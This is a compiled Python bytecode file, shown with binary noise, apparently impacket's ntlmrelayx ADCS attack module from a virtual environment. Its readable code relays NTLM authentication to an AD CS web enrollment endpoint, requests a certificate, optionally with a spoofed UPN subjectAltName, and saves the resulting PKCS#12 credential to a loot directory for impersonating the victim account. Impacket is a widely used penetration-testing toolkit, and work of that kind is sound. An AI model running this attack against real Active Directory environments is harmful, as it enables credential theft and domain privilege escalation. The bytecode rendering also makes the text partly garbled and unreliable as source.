o
    j                     @   s   d dl Z d dlZd dlZd dlmZ d dlZd dlmZ d dl	m
Z
 d dl	mZ d dlmZmZ d dlmZmZ d dlmZ d d	lmZ g ZG d
d dZdS )    N)crypto)x509)pkcs12)NoEncryption)ExtensionNotFoundload_pem_x509_certificate)NameOIDObjectIdentifier)default_backend)LOGc                   @   s^   e Zd ZedZdd ZeejfddZ	edd Z
edd	 Zed
d Zedd ZdS )
ADCSAttackz1.3.6.1.4.1.311.20.2.3c              
   C   s  t  }|t jd | jtv rtd| j  d S | jj	}|d u r,| j
dr*dnd}|}tj|}||kr@td|  n	td||f  | || j| jj}| dd	d
ddd
}td | || jj}d||f }ddt|d}td | jjdd||d t| j | j }|jdkrtd d S | }	td|	 }
t|
dkrtd d S |
d }| jdd|  | j }td|  |  }t| t d}|  | jp| !|pd"|}| #|$ |}t%j&'| jj(d "|}td!|  z2t%j&)| jj(s!t%*| jj( t+|d"}|,| W d    n	1 s7w   Y  td# W n& t-yh } ztd$ td%|t./| f  W Y d }~nd }~ww | jjrztd&"| jj d S d S )'Ni   z3Skipping user %s since attack was already performed$MachineUserzUsing template name: %szUsing template name: %s (%s)
 +z%2b zCSR generated!zTMode=newreq&CertRequest=%s&CertAttrib=%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=zDMozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0z!application/x-www-form-urlencoded)z
User-AgentzContent-TypezContent-LengthzGetting certificate...POSTz/certsrv/certfnsh.asp)bodyheaders   zQError getting certificate! Make sure you have entered valid certificate template.z#location="certnew.cer\?ReqID=(.*?)&r   zError obtaining certificate!GETz/certsrv/certnew.cer?ReqID=zGOT CERTIFICATE! ID %s)backendzcertificate_{0}z{}.pfxz!Writing PKCS#12 certificate to %swbz(Certificate successfully written to filezSUnable to write certificate to file, printing B64 of certificate to console insteadz,Base64-encoded PKCS#12 certificate (%s): 
%sz/This certificate can also be used for user : {})0r   PKeygenerate_keyTYPE_RSAusernameELEVATEDr   infoconfigtemplateendswithurllibparsequotegenerate_csraltNamedecodereplacegenerate_certattributeslenclientrequestappendgetresponsestatuserrorreadrefindallr   encoder
   _sanitize_filename_extract_certificate_identityformatgenerate_pfxto_cryptography_keyospathjoinlootdirisdirmkdiropenwrite	Exceptionbase64	b64encode)selfkeycurrent_templateoriginal_templatecsr
certAttribdatar   responsecontentfoundcertificate_idcertificatecert_objpfx_filenamecertificate_storeoutput_pathfe rY   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/adcsattack.py_run*   sx   
 






 

zADCSAttack._runc              	   C   sd   t d t }|r|| _|r!|tddd|  g |	|  |
| d t||S )NzGenerating CSR...s   subjectAltNameFs(   otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%bsha256)r   r    r   X509Reqget_subjectCNadd_extensionsX509Extensionr6   
set_pubkeysigndump_certificate_request)rH   r_   r(   csr_typereqrY   rY   rZ   r'   w   s   


zADCSAttack.generate_csrc                 C   s   t jd| |d t d}|S )N    )namerH   certcasencryption_algorithm)r   serialize_key_and_certificatesr   )rH   rR   pfx_datarY   rY   rZ   r:      s   zADCSAttack.generate_pfxc                 C   s   |rd | |S d | S )Nz&CertificateTemplate:{}%0d%0aSAN:upn={}zCertificateTemplate:{})r9   )r"   r(   rY   rY   rZ   r+      s   
z"ADCSAttack.generate_certattributesc           	      C   s  z|j tj}|D ]}|j }|r|  W S q
W n	 ty#   Y nw zJ|jt	j
}|j}|t	jD ]"}|j| jkrW|j}t|trL|jddd}| }|rW|  W S q5|t	jD ]}| }|rk|  W S q^W d S  tyx   Y d S  ty   Y d S w )Nzutf-8ignore)errors)subjectget_attributes_for_oidr   COMMON_NAMEvaluestriprD   
extensionsget_extension_for_classr   SubjectAlternativeNameget_values_for_type	OtherNametype_idUPN_OID
isinstancebytesr)   DNSNamer   )	clsri   common_names	attributers   san_extensionsan
other_namedns_namerY   rY   rZ   r8      sJ   




	z(ADCSAttack._extract_certificate_identityc                 C   s   t dd| }|d}|S )Nz[^A-Za-z0-9._-]_z._)r4   subrt   )rh   	sanitizedrY   rY   rZ   r7      s   
zADCSAttack._sanitize_filenameN)__name__
__module____qualname__r	   r{   r[   staticmethodr   FILETYPE_PEMr'   r:   r+   classmethodr8   r7   rY   rY   rY   rZ   r   '   s    M


 r   )r4   rE   r<   OpenSSLr   urllib.parser$   cryptographyr   ,cryptography.hazmat.primitives.serializationr   r   cryptography.x509r   r   cryptography.x509.oidr   r	   cryptography.hazmat.backendsr
   impacketr   r   r   rY   rY   rY   rZ   <module>   s   